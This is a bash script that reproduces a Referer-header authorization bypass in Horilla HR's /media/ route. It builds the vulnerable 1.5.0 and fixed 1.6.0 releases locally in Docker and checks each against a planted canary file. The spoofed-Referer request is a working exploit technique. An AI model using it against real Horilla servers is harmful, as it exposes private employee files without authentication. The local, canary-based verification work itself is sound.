#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACT_ROOT="$ROOT/artifacts/horilla_referer_bypass"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACT_ROOT"

cd "$ROOT"

RUN_ID="$(date -u +%Y%m%dT%H%M%SZ)-$$"
RUN_DIR="$ARTIFACT_ROOT/$RUN_ID"
mkdir -p "$RUN_DIR/http" "$RUN_DIR/attempts" "$RUN_DIR/source" "$RUN_DIR/deps"
MAIN_LOG="$LOGS/reproduction_steps_${RUN_ID}.log"
PROOF_LIST="$RUN_DIR/proof_artifacts.list"
: > "$PROOF_LIST"

# Keep both a stable latest log and a per-execution log.
exec > >(tee "$LOGS/reproduction_steps.log" "$MAIN_LOG") 2>&1

add_artifact() {
  local path="$1"
  if [ -e "$path" ]; then
    case "$path" in
      "$ROOT"/*) printf '%s\n' "${path#$ROOT/}" >> "$PROOF_LIST" ;;
      *) printf '%s\n' "$path" >> "$PROOF_LIST" ;;
    esac
  fi
}
add_artifact "$MAIN_LOG"

SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
FINAL_STATUS="unknown"
TRIGGER_PATH_VALUE=""
RESULT_NOTES="started"
CONTAINERS=()

write_runtime_outputs() {
  local exit_code="${1:-1}"
  export ROOT RUN_ID PROOF_LIST SERVICE_STARTED HEALTHCHECK_PASSED TARGET_PATH_REACHED FINAL_STATUS TRIGGER_PATH_VALUE RESULT_NOTES exit_code
  python3 - <<'PY'
import json, os, pathlib
root = pathlib.Path(os.environ["ROOT"])
proof_file = pathlib.Path(os.environ["PROOF_LIST"])
proofs = []
if proof_file.exists():
    for line in proof_file.read_text(errors="replace").splitlines():
        line = line.strip()
        if line and line not in proofs:
            proofs.append(line)
confirmed = os.environ.get("FINAL_STATUS") == "confirmed" and os.environ.get("exit_code") == "0"
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "real Horilla /media/<path> HTTP route",
    "service_started": os.environ.get("SERVICE_STARTED") == "true",
    "healthcheck_passed": os.environ.get("HEALTHCHECK_PASSED") == "true",
    "target_path_reached": os.environ.get("TARGET_PATH_REACHED") == "true",
    "runtime_stack": ["Docker", "python:3.10-slim-bullseye", "Horilla Django runserver", "SQLite"],
    "proof_artifacts": proofs,
    "notes": os.environ.get("RESULT_NOTES", "runtime outputs written by reproduction_steps.sh"),
}
(root / "repro" / "runtime_manifest.json").write_text(json.dumps(manifest, indent=2, sort_keys=True) + "\n")
verdict = {
    "claim_outcome": "confirmed" if confirmed else "unknown",
    "claim_block_reason": None if confirmed else "unknown",
    "repro_result": "confirmed" if confirmed else "inconclusive",
    "validated_surface": "api_remote",
    "evidence_scope": "production_path",
    "claimed_impact_class": "authz_bypass",
    "observed_impact_class": "authz_bypass" if confirmed else "none",
    "exploitability_confidence": "high" if confirmed else "unknown",
    "attacker_controlled_input": "Unauthenticated Referer header 'http://attacker.invalid/login' and private in-root /media/<path> URL",
    "trigger_path": os.environ.get("TRIGGER_PATH_VALUE") or None,
    "end_to_end_target_reached": bool(confirmed),
    "sanitizer_used": False,
    "crash_observed": False,
    "read_write_primitive_observed": False,
    "exploit_chain_demonstrated": False,
    "blocking_mitigation": None if confirmed else "runtime matrix did not fully satisfy all Horilla referer-bypass oracles",
    "inferred": False,
}
(root / "repro" / "validation_verdict.json").write_text(json.dumps(verdict, indent=2, sort_keys=True) + "\n")
PY
}

cleanup() {
  local c
  for c in "${CONTAINERS[@]:-}"; do
    docker rm -f "$c" >/dev/null 2>&1 || true
  done
  docker ps -aq --filter "name=pruva-horilla" | xargs -r docker rm -f >/dev/null 2>&1 || true
}

on_exit() {
  local code=$?
  trap - EXIT
  cleanup
  write_runtime_outputs "$code" || true
  exit "$code"
}
trap on_exit EXIT

log_step() {
  printf '\n[%s] %s\n' "$(date -u +%H:%M:%SZ)" "$*" >&2
}

require_tool() {
  command -v "$1" >/dev/null 2>&1 || { echo "Required tool not found: $1"; exit 2; }
}

require_tool git
require_tool docker
require_tool curl
require_tool python3

log_step "Checking Docker availability"
docker ps >/dev/null
DOCKER_BASE_IMAGE="python:3.10-slim-bullseye"
log_step "Ensuring Docker base image $DOCKER_BASE_IMAGE is available"
docker pull "$DOCKER_BASE_IMAGE" >/dev/null

REPO_URL="https://github.com/horilla/horilla-hr.git"
VULN_TAG="1.5.0"
VULN_COMMIT_EXPECTED="61bd5173220d19925ad8220db9152a75c881ea73"
FIXED_TAG="1.6.0"
FIXED_COMMIT_EXPECTED="b3bd29d15819cbece45c58e6268ddd0614e387d6"
SOURCE_FIX_COMMIT="b6eaec1386d8b8741a42fe7c78f318f073375791"

log_step "Resolving project cache context"
CACHE_INFO="$RUN_DIR/cache_context_resolved.json"
python3 - <<'PY' > "$CACHE_INFO"
import json, os, pathlib
root = pathlib.Path(os.environ.get("ROOT", "."))
ctx_path = root / "project_cache_context.json"
info = {"prepared": False, "project_cache_dir": None, "repo_mirror_dir": None, "cache_manifest_path": None, "schema_version": None}
if ctx_path.exists():
    try:
        ctx = json.loads(ctx_path.read_text())
        if ctx.get("prepared") and ctx.get("project_cache_dir"):
            info["prepared"] = True
            info["project_cache_dir"] = ctx.get("project_cache_dir")
            info["repo_mirror_dir"] = ctx.get("repo_mirror_dir")
            info["cache_manifest_path"] = ctx.get("cache_manifest_path")
            info["schema_version"] = ctx.get("cache_manifest_schema_version")
    except Exception as exc:
        info["error"] = str(exc)
print(json.dumps(info, indent=2, sort_keys=True))
PY
add_artifact "$CACHE_INFO"
CACHE_DIR="$(python3 - <<'PY' "$CACHE_INFO" "$ROOT"
import json, pathlib, sys
info = json.loads(pathlib.Path(sys.argv[1]).read_text())
root = pathlib.Path(sys.argv[2])
print(info.get("project_cache_dir") if info.get("prepared") else str(root / "artifacts" / "project_cache_fallback"))
PY
)"
mkdir -p "$CACHE_DIR" "$CACHE_DIR/repo-mirrors" "$CACHE_DIR/worktrees"
REPO="$CACHE_DIR/repo"

log_step "Preparing Horilla repository at $REPO"
if [ ! -d "$REPO/.git" ]; then
  rm -rf "$REPO"
  git clone "$REPO_URL" "$REPO"
else
  git -C "$REPO" remote set-url origin "$REPO_URL" || true
  git -C "$REPO" fetch --tags origin
fi

git -C "$REPO" worktree prune || true
VULN_COMMIT="$(git -C "$REPO" rev-parse "$VULN_TAG^{commit}")"
FIXED_COMMIT="$(git -C "$REPO" rev-parse "$FIXED_TAG^{commit}")"
SOURCE_FIX_RESOLVED="$(git -C "$REPO" rev-parse "$SOURCE_FIX_COMMIT^{commit}")"
if [ "$VULN_COMMIT" != "$VULN_COMMIT_EXPECTED" ]; then
  echo "Unexpected vulnerable tag commit: $VULN_COMMIT"; exit 1
fi
if [ "$FIXED_COMMIT" != "$FIXED_COMMIT_EXPECTED" ]; then
  echo "Unexpected fixed tag commit: $FIXED_COMMIT"; exit 1
fi
if ! git -C "$REPO" merge-base --is-ancestor "$SOURCE_FIX_RESOLVED" "$FIXED_COMMIT"; then
  echo "Source fix commit is not an ancestor of fixed release"; exit 1
fi

SOURCE_HUNKS="$RUN_DIR/source/protected_media_hunks.log"
{
  echo "Repository: $REPO_URL"
  echo "Vulnerable target: $VULN_TAG $VULN_COMMIT"
  echo "Fixed release target: $FIXED_TAG $FIXED_COMMIT"
  echo "Source fix commit: $SOURCE_FIX_RESOLVED"
  echo "Source fix is ancestor of fixed release: yes"
  echo
  echo "--- vulnerable protected_media excerpt ---"
  git -C "$REPO" show "$VULN_COMMIT:base/views.py" | sed -n '/def protected_media/,/return FileResponse/p'
  echo
  echo "--- fixed protected_media excerpt ---"
  git -C "$REPO" show "$FIXED_COMMIT:base/views.py" | sed -n '/def protected_media/,/return FileResponse/p'
} > "$SOURCE_HUNKS" 2>&1
add_artifact "$SOURCE_HUNKS"

grep -q 'HTTP_REFERER' "$SOURCE_HUNKS"
git -C "$REPO" show "$VULN_COMMIT:base/views.py" | sed -n '/def protected_media/,/return FileResponse/p' | grep -q 'public_pages'
git -C "$REPO" show "$FIXED_COMMIT:base/views.py" | sed -n '/def protected_media/,/return FileResponse/p' | grep -q 'safe_join(settings.MEDIA_ROOT, path)'
if git -C "$REPO" show "$FIXED_COMMIT:base/views.py" | sed -n '/def protected_media/,/return FileResponse/p' | grep -q 'public_pages'; then
  echo "Fixed protected_media still contains vulnerable public_pages logic"; exit 1
fi

prepare_worktree() {
  local commit="$1" role="$2"
  local wt="$CACHE_DIR/worktrees/horilla-${role}-${commit:0:12}"
  mkdir -p "$(dirname "$wt")"
  if [ -e "$wt/.git" ] || [ -f "$wt/.git" ]; then
    git -C "$wt" checkout --detach "$commit" >/dev/null
    git -C "$wt" reset --hard "$commit" >/dev/null
    git -C "$wt" clean -fdx >/dev/null
  else
    rm -rf "$wt"
    git -C "$REPO" worktree add --detach "$wt" "$commit" >/dev/null
  fi
  git -C "$wt" rev-parse HEAD > "$RUN_DIR/source/${role}_worktree_head.txt"
  add_artifact "$RUN_DIR/source/${role}_worktree_head.txt"
  printf '%s' "$wt"
}

VULN_WT="$(prepare_worktree "$VULN_COMMIT" vuln)"
FIXED_WT="$(prepare_worktree "$FIXED_COMMIT" fixed)"

requirements_sha() {
  python3 - <<'PY' "$1/requirements.txt"
import hashlib, pathlib, sys
print(hashlib.sha256(pathlib.Path(sys.argv[1]).read_bytes()).hexdigest())
PY
}

write_source_identity() {
  local role="$1" wt="$2" commit="$3" tag="$4" deps="$5" req_sha="$6"
  local identity="$RUN_DIR/source/${role}_source_identity.json"
  ROLE="$role" TAG="$tag" COMMIT="$commit" WT="$wt" DEPS="$deps" REQ_SHA="$req_sha" BASE_IMAGE="$DOCKER_BASE_IMAGE" SOURCE_FIX="$SOURCE_FIX_RESOLVED" python3 - <<'PY' > "$identity"
import hashlib, json, os, pathlib, subprocess
wt = pathlib.Path(os.environ["WT"])
def sha256(path):
    p = wt / path
    return hashlib.sha256(p.read_bytes()).hexdigest() if p.exists() else None
status = subprocess.check_output(["git", "-C", str(wt), "status", "--short", "--untracked-files=all"], text=True).splitlines()
excerpt = subprocess.check_output(["git", "-C", str(wt), "show", f"{os.environ['COMMIT']}:base/views.py"], text=True, errors="replace")
start = excerpt.find("def protected_media")
end = excerpt.find("\n\ndef ", start + 1)
if end == -1:
    end = excerpt.find("\n\n@", start + 1)
protected_excerpt = excerpt[start:end if end != -1 else start + 2500]
print(json.dumps({
    "role": os.environ["ROLE"],
    "tag": os.environ["TAG"],
    "commit": os.environ["COMMIT"],
    "source_fix_commit": os.environ["SOURCE_FIX"],
    "worktree": str(wt),
    "docker_base_image": os.environ["BASE_IMAGE"],
    "dependency_target": os.environ["DEPS"],
    "requirements_sha256": os.environ["REQ_SHA"],
    "dockerfile_sha256": sha256("Dockerfile"),
    "modified_file_inventory": status,
    "protected_media_excerpt": protected_excerpt,
}, indent=2, sort_keys=True))
PY
  add_artifact "$identity"
}

install_deps_for_worktree() {
  local role="$1" wt="$2"
  local req_sha deps marker install_log freeze_log
  req_sha="$(requirements_sha "$wt")"
  deps="/tmp/pruva-horilla-deps-${req_sha:0:16}"
  marker="$deps/.pruva-install-complete"
  install_log="$LOGS/pip_install_${role}_${req_sha:0:16}_${RUN_ID}.log"
  freeze_log="$RUN_DIR/deps/${role}_${req_sha:0:16}_pip_freeze.txt"
  mkdir -p "$deps"
  if [ ! -f "$marker" ]; then
    log_step "Installing $role tag requirements into host bind-mounted dependency dir $deps"
    rm -rf "$deps"
    mkdir -p "$deps/.tmp"
    # Installation happens inside the same Python 3.10 base container used for runtime, but writes to /tmp on the host
    # via /deps. This avoids the rootless Docker writable-layer size limit while still installing the tag requirements.
    if ! docker run --rm \
      -v "$deps:/deps:rw" \
      -v "$deps/.tmp:/tmp:rw" \
      -v "$wt/requirements.txt:/requirements.txt:ro" \
      -e TMPDIR=/tmp \
      -e PIP_CACHE_DIR=/tmp/pip-cache \
      -e PIP_DISABLE_PIP_VERSION_CHECK=1 \
      "$DOCKER_BASE_IMAGE" \
      /bin/bash -lc 'python -m pip install --no-cache-dir --no-compile --target /deps -r /requirements.txt' 2>&1 | tee "$install_log" >&2; then
      add_artifact "$install_log"
      echo "Dependency installation failed for $role requirements $req_sha" >&2
      return 1
    fi
    touch "$marker"
  else
    echo "Reusing dependency directory $deps for requirements sha $req_sha" | tee "$install_log" >&2
  fi
  add_artifact "$install_log"
  docker run --rm -v "$deps:/deps:ro" -e PYTHONPATH=/deps "$DOCKER_BASE_IMAGE" /bin/bash -lc 'python -m pip freeze --path /deps | sort' > "$freeze_log" 2>&1 || true
  add_artifact "$freeze_log"
  write_source_identity "$role" "$wt" "$([ "$role" = vuln ] && printf '%s' "$VULN_COMMIT" || printf '%s' "$FIXED_COMMIT")" "$([ "$role" = vuln ] && printf '%s' "$VULN_TAG" || printf '%s' "$FIXED_TAG")" "$deps" "$req_sha"
  printf '%s' "$deps"
}


prepare_role_runtime() {
  local role="$1" wt="$2" deps="$3" commit="$4" tag="$5"
  local prep_dir="$RUN_DIR/prepared_runtime/$role"
  local runtime_dir="$prep_dir/runtime"
  local prep_log="$prep_dir/prepare_runtime.log"
  mkdir -p "$runtime_dir"
  rm -f "$runtime_dir/TestDB_Horilla.sqlite3" "$runtime_dir/TestDB_Horilla.sqlite3-journal"
  log_step "Preparing migrated SQLite runtime template for $role ($tag $commit)"
  if ! docker run --rm \
    -v "$wt:/app:rw" \
    -v "$deps:/deps:ro" \
    -v "$runtime_dir:/runtime:rw" \
    -e PYTHONPATH=/deps:/app \
    -e PYTHONDONTWRITEBYTECODE=1 \
    -e DB_NAME=/runtime/TestDB_Horilla.sqlite3 \
    -w /app \
    "$DOCKER_BASE_IMAGE" /bin/bash -lc 'set -euo pipefail; cd /app; python manage.py makemigrations base employee recruitment leave pms onboarding asset attendance payroll notifications --noinput; python manage.py migrate --run-syncdb --noinput; python manage.py check --deploy || true' > "$prep_log" 2>&1; then
    add_artifact "$prep_log"
    echo "Runtime template preparation failed for $role" >&2
    return 1
  fi
  add_artifact "$prep_log"
  git -C "$wt" status --short --untracked-files=all > "$prep_dir/modified_file_inventory_after_prepare.txt" 2>&1 || true
  add_artifact "$prep_dir/modified_file_inventory_after_prepare.txt"
  if [ ! -s "$runtime_dir/TestDB_Horilla.sqlite3" ]; then
    echo "Runtime template DB was not created for $role" >&2
    return 1
  fi
  printf '%s' "$runtime_dir/TestDB_Horilla.sqlite3"
}

VULN_DEPS="$(install_deps_for_worktree vuln "$VULN_WT")"
FIXED_DEPS="$(install_deps_for_worktree fixed "$FIXED_WT")"

VULN_DB_TEMPLATE="$(prepare_role_runtime vuln "$VULN_WT" "$VULN_DEPS" "$VULN_COMMIT" "$VULN_TAG")"
FIXED_DB_TEMPLATE="$(prepare_role_runtime fixed "$FIXED_WT" "$FIXED_DEPS" "$FIXED_COMMIT" "$FIXED_TAG")"


request_once() {
  local name="$1" url="$2" referer="$3" outdir="$4"
  local request_file="$outdir/${name}_request.txt"
  local headers_file="$outdir/${name}_response_headers.txt"
  local body_file="$outdir/${name}_response_body.bin"
  local trace_file="$outdir/${name}_curl_trace.txt"
  local curl_stderr="$outdir/${name}_curl_stderr.txt"
  local meta_file="$outdir/${name}_meta.json"
  local path_part="/${url#*://*/}"
  {
    echo "GET $path_part HTTP/1.1"
    echo "Host: ${url#http://}" | sed 's#/.*##'
    echo "User-Agent: pruva-repro-curl/1.0"
    if [ "$referer" != "__NONE__" ]; then
      echo "Referer: $referer"
    else
      echo "Referer: <absent>"
    fi
    echo "Cookie: <absent>"
    echo "Authorization: <absent>"
    echo "Redirect following: disabled"
  } > "$request_file"
  add_artifact "$request_file"
  local status
  if [ "$referer" = "__NONE__" ]; then
    status="$(curl --http1.1 --path-as-is -sS --max-time 15 \
      -H 'User-Agent: pruva-repro-curl/1.0' \
      --trace-ascii "$trace_file" \
      -D "$headers_file" -o "$body_file" \
      -w '%{http_code}' "$url" 2>"$curl_stderr" || true)"
  else
    status="$(curl --http1.1 --path-as-is -sS --max-time 15 \
      -H 'User-Agent: pruva-repro-curl/1.0' \
      -H "Referer: $referer" \
      --trace-ascii "$trace_file" \
      -D "$headers_file" -o "$body_file" \
      -w '%{http_code}' "$url" 2>"$curl_stderr" || true)"
  fi
  add_artifact "$headers_file"
  add_artifact "$body_file"
  add_artifact "$trace_file"
  add_artifact "$curl_stderr"
  STATUS="$status" URL="$url" REFERER="$referer" BODY="$body_file" HEADERS="$headers_file" TRACE="$trace_file" python3 - <<'PY' > "$meta_file"
import hashlib, json, os, pathlib
body = pathlib.Path(os.environ["BODY"])
headers = pathlib.Path(os.environ["HEADERS"])
print(json.dumps({
    "url": os.environ["URL"],
    "http_status": os.environ["STATUS"],
    "referer": None if os.environ["REFERER"] == "__NONE__" else os.environ["REFERER"],
    "cookie_header_sent": False,
    "authorization_header_sent": False,
    "redirect_following": False,
    "body_sha256": hashlib.sha256(body.read_bytes()).hexdigest() if body.exists() else None,
    "body_size": body.stat().st_size if body.exists() else 0,
    "response_headers_excerpt": headers.read_text(errors="replace")[:2000] if headers.exists() else "",
}, indent=2, sort_keys=True))
PY
  add_artifact "$meta_file"
  printf '%s' "$status"
}

start_target() {
  local role="$1" attempt="$2" wt="$3" deps="$4" port="$5" media_dir="$6" outdir="$7"
  local name="pruva-horilla-${role}-${attempt}-${RUN_ID//[^A-Za-z0-9]/}"
  local runtime_dir="$outdir/runtime"
  mkdir -p "$runtime_dir"
  local cmd='set -euo pipefail; cd /app; exec python manage.py runserver 0.0.0.0:8000 --noreload'
  log_step "Starting $role attempt $attempt Horilla runserver container on 127.0.0.1:$port"
  local cid
  cid="$(docker run -d --name "$name" \
    -p "127.0.0.1:${port}:8000" \
    -v "$wt:/app:rw" \
    -v "$deps:/deps:ro" \
    -v "$media_dir:/app/media:rw" \
    -v "$runtime_dir:/runtime:rw" \
    -e PYTHONPATH=/deps:/app \
    -e PYTHONDONTWRITEBYTECODE=1 \
    -e DB_NAME=/runtime/TestDB_Horilla.sqlite3 \
    -w /app \
    "$DOCKER_BASE_IMAGE" /bin/bash -lc "$cmd")"
  CONTAINERS+=("$cid")
  SERVICE_STARTED=true
  echo "$cid" > "$outdir/container_id.txt"
  add_artifact "$outdir/container_id.txt"
  docker inspect "$cid" > "$outdir/container_inspect.json"
  add_artifact "$outdir/container_inspect.json"
  local health_body="$outdir/health_response_body.txt"
  local health_headers="$outdir/health_response_headers.txt"
  local health_status="000"
  for _ in $(seq 1 90); do
    if ! docker inspect -f '{{.State.Running}}' "$cid" 2>/dev/null | grep -q true; then
      docker logs "$cid" > "$outdir/server_failed_before_health.log" 2>&1 || true
      add_artifact "$outdir/server_failed_before_health.log"
      echo "Container exited before health check passed"
      return 1
    fi
    health_status="$(curl --http1.1 --path-as-is -sS --max-time 3 -D "$health_headers" -o "$health_body" -w '%{http_code}' "http://127.0.0.1:${port}/health/" 2>/dev/null || true)"
    if [ "$health_status" = "200" ]; then
      break
    fi
    sleep 2
  done
  add_artifact "$health_headers"
  add_artifact "$health_body"
  docker logs "$cid" > "$outdir/server_startup.log" 2>&1 || true
  add_artifact "$outdir/server_startup.log"
  if [ "$health_status" != "200" ]; then
    echo "Health check failed for $role attempt $attempt: status $health_status"
    return 1
  fi
  printf '%s' "$cid"
}

stop_target_and_collect() {
  local cid="$1" outdir="$2"
  docker logs "$cid" > "$outdir/server_final.log" 2>&1 || true
  add_artifact "$outdir/server_final.log"
  docker rm -f "$cid" >/dev/null 2>&1 || true
}

body_contains_canary() {
  local body="$1" canary="$2"
  grep -aFq "$canary" "$body" 2>/dev/null
}

run_attempt() {
  local role="$1" attempt="$2" wt="$3" deps="$4" db_template="$5" port="$6" commit="$7" tag="$8"
  local outdir="$RUN_DIR/attempts/${role}_${attempt}"
  local media_dir="$outdir/media"
  mkdir -p "$outdir" "$media_dir/private-data/$RUN_ID" "$media_dir/base/icon"

  local canary_file="$outdir/private_canary.txt"
  local public_file="$outdir/public_canary.txt"
  CANARY_ROLE="$role" CANARY_ATTEMPT="$attempt" python3 - <<'PY' > "$canary_file"
import os, secrets, sys
sys.stdout.write("HORILLA_PRIVATE_CANARY:%s:%s:%s" % (os.environ["CANARY_ROLE"], os.environ["CANARY_ATTEMPT"], secrets.token_hex(24)))
PY
  CANARY_ROLE="$role" CANARY_ATTEMPT="$attempt" python3 - <<'PY' > "$public_file"
import os, secrets, sys
sys.stdout.write("HORILLA_PUBLIC_LIVENESS:%s:%s:%s" % (os.environ["CANARY_ROLE"], os.environ["CANARY_ATTEMPT"], secrets.token_hex(12)))
PY
  local private_path="private-data/$RUN_ID/${role}-${attempt}-secret.txt"
  local public_path="base/icon/liveness-${RUN_ID}-${role}-${attempt}.txt"
  mkdir -p "$(dirname "$media_dir/$private_path")" "$(dirname "$media_dir/$public_path")"
  cp "$canary_file" "$media_dir/$private_path"
  cp "$public_file" "$media_dir/$public_path"
  chmod -R a+rX "$media_dir"
  add_artifact "$canary_file"
  add_artifact "$public_file"

  local attempt_info="$outdir/attempt_setup.json"
  ROLE="$role" ATTEMPT="$attempt" COMMIT="$commit" TAG="$tag" PORT="$port" PRIVATE_PATH="$private_path" PUBLIC_PATH="$public_path" python3 - <<'PY' > "$attempt_info"
import json, os
print(json.dumps({
    "role": os.environ["ROLE"],
    "attempt": int(os.environ["ATTEMPT"]),
    "tag": os.environ["TAG"],
    "commit": os.environ["COMMIT"],
    "port": int(os.environ["PORT"]),
    "private_media_path": os.environ["PRIVATE_PATH"],
    "public_liveness_media_path": os.environ["PUBLIC_PATH"],
    "attacker_credentials": None,
    "private_path_public_prefix": False,
    "runtime_database": "per-attempt SQLite DB at /runtime/TestDB_Horilla.sqlite3",
}, indent=2, sort_keys=True))
PY
  add_artifact "$attempt_info"

  mkdir -p "$outdir/runtime"
  cp "$db_template" "$outdir/runtime/TestDB_Horilla.sqlite3"
  chmod u+rw "$outdir/runtime/TestDB_Horilla.sqlite3"

  local cid
  cid="$(start_target "$role" "$attempt" "$wt" "$deps" "$port" "$media_dir" "$outdir")"
  SERVICE_STARTED=true
  CONTAINERS+=("$cid")

  local base_url="http://127.0.0.1:${port}/media/${private_path}"
  local public_url="http://127.0.0.1:${port}/media/${public_path}"
  if [ "$role" = "vuln" ] && [ -z "$TRIGGER_PATH_VALUE" ]; then
    TRIGGER_PATH_VALUE="/media/${private_path}"
  fi

  local public_status baseline_status trigger_status
  public_status="$(request_once public_liveness "$public_url" __NONE__ "$outdir")"
  baseline_status="$(request_once baseline_no_referer "$base_url" __NONE__ "$outdir")"
  trigger_status="$(request_once trigger_spoofed_referer "$base_url" "http://attacker.invalid/login" "$outdir")"

  stop_target_and_collect "$cid" "$outdir"
  git -C "$wt" status --short --untracked-files=all > "$outdir/modified_file_inventory_after_startup.txt" 2>&1 || true
  add_artifact "$outdir/modified_file_inventory_after_startup.txt"

  local public_ok=false baseline_denied=false trigger_ok=false trigger_denied=false
  if [ "$public_status" = "200" ] && cmp -s "$outdir/public_liveness_response_body.bin" "$public_file"; then public_ok=true; fi
  if [ "$baseline_status" != "200" ] && ! body_contains_canary "$outdir/baseline_no_referer_response_body.bin" "$(cat "$canary_file")"; then baseline_denied=true; fi
  if [ "$trigger_status" = "200" ] && cmp -s "$outdir/trigger_spoofed_referer_response_body.bin" "$canary_file"; then trigger_ok=true; fi
  if [ "$trigger_status" != "200" ] && ! body_contains_canary "$outdir/trigger_spoofed_referer_response_body.bin" "$(cat "$canary_file")"; then trigger_denied=true; fi

  local pass=false
  if [ "$role" = "vuln" ]; then
    if [ "$public_ok" = true ] && [ "$baseline_denied" = true ] && [ "$trigger_ok" = true ]; then pass=true; fi
  else
    if [ "$public_ok" = true ] && [ "$baseline_denied" = true ] && [ "$trigger_denied" = true ]; then pass=true; fi
  fi

  local result_file="$outdir/attempt_result.json"
  ROLE="$role" ATTEMPT="$attempt" PUBLIC_STATUS="$public_status" BASELINE_STATUS="$baseline_status" TRIGGER_STATUS="$trigger_status" PUBLIC_OK="$public_ok" BASELINE_DENIED="$baseline_denied" TRIGGER_OK="$trigger_ok" TRIGGER_DENIED="$trigger_denied" PASS="$pass" python3 - <<'PY' > "$result_file"
import json, os
print(json.dumps({
    "role": os.environ["ROLE"],
    "attempt": int(os.environ["ATTEMPT"]),
    "public_status": os.environ["PUBLIC_STATUS"],
    "baseline_status": os.environ["BASELINE_STATUS"],
    "trigger_status": os.environ["TRIGGER_STATUS"],
    "public_liveness_ok": os.environ["PUBLIC_OK"] == "true",
    "baseline_without_referer_denied_and_no_canary": os.environ["BASELINE_DENIED"] == "true",
    "vulnerable_trigger_returned_exact_private_canary": os.environ["TRIGGER_OK"] == "true",
    "fixed_trigger_denied_and_no_canary": os.environ["TRIGGER_DENIED"] == "true",
    "oracle_passed": os.environ["PASS"] == "true",
}, indent=2, sort_keys=True))
PY
  add_artifact "$result_file"
  cat "$result_file"
  if [ "$pass" != true ]; then
    echo "Oracle failed for $role attempt $attempt"
    return 1
  fi
}

BASE_PORT=$((20000 + (($$ % 1000) * 4)))

log_step "Running vulnerable/fixed matrix twice from clean containers"
run_attempt vuln 1 "$VULN_WT" "$VULN_DEPS" "$VULN_DB_TEMPLATE" $((BASE_PORT + 1)) "$VULN_COMMIT" "$VULN_TAG"
run_attempt fixed 1 "$FIXED_WT" "$FIXED_DEPS" "$FIXED_DB_TEMPLATE" $((BASE_PORT + 2)) "$FIXED_COMMIT" "$FIXED_TAG"
run_attempt vuln 2 "$VULN_WT" "$VULN_DEPS" "$VULN_DB_TEMPLATE" $((BASE_PORT + 3)) "$VULN_COMMIT" "$VULN_TAG"
run_attempt fixed 2 "$FIXED_WT" "$FIXED_DEPS" "$FIXED_DB_TEMPLATE" $((BASE_PORT + 4)) "$FIXED_COMMIT" "$FIXED_TAG"

HEALTHCHECK_PASSED=true
TARGET_PATH_REACHED=true
FINAL_STATUS="confirmed"
RESULT_NOTES="Confirmed: vulnerable Horilla 1.5.0 returns exact private media body only when an unauthenticated attacker adds Referer http://attacker.invalid/login; fixed Horilla 1.6.0 denies the same request."

SUMMARY="$RUN_DIR/matrix_summary.json"
SUMMARY_PATH="$SUMMARY" RUN_DIR="$RUN_DIR" python3 - <<'PY'
import json, os, pathlib
run_dir = pathlib.Path(os.environ["RUN_DIR"])
results = []
for p in sorted((run_dir / "attempts").glob("*_*/*attempt_result.json")):
    results.append(json.loads(p.read_text()))
summary = {
    "schema_version": 1,
    "run_id": run_dir.name,
    "all_oracles_passed": all(r.get("oracle_passed") for r in results) and len(results) == 4,
    "attempt_results": results,
}
pathlib.Path(os.environ["SUMMARY_PATH"]).write_text(json.dumps(summary, indent=2, sort_keys=True) + "\n")
PY
add_artifact "$SUMMARY"

# Update reusable project-cache manifest when this run has a prepared cache. Proof output is intentionally not cached.
CACHE_MANIFEST_PATH="$(python3 - <<'PY' "$CACHE_INFO"
import json, pathlib, sys
info=json.loads(pathlib.Path(sys.argv[1]).read_text())
print(info.get("cache_manifest_path") or "")
PY
)"
CACHE_SCHEMA_VERSION="$(python3 - <<'PY' "$CACHE_INFO"
import json, pathlib, sys
info=json.loads(pathlib.Path(sys.argv[1]).read_text())
print(info.get("schema_version") or 1)
PY
)"
if [ -n "$CACHE_MANIFEST_PATH" ]; then
  mkdir -p "$(dirname "$CACHE_MANIFEST_PATH")"
  CACHE_DIR="$CACHE_DIR" CACHE_SCHEMA_VERSION="$CACHE_SCHEMA_VERSION" VULN_WT="$VULN_WT" FIXED_WT="$FIXED_WT" python3 - <<'PY' > "$CACHE_MANIFEST_PATH"
import json, os, pathlib
cache_dir = pathlib.Path(os.environ["CACHE_DIR"]).resolve()
def rel(path):
    return str(pathlib.Path(path).resolve().relative_to(cache_dir))
entries = [
    {"path": "repo", "reuse_class": "repo"},
]
seen=[]
unique=[]
for entry in entries:
    if entry["path"] not in seen:
        seen.append(entry["path"]); unique.append(entry)
print(json.dumps({"schema_version": int(os.environ["CACHE_SCHEMA_VERSION"]), "entries": unique}, indent=2, sort_keys=True))
PY
fi

log_step "All vulnerable and fixed runtime oracles passed"
exit 0
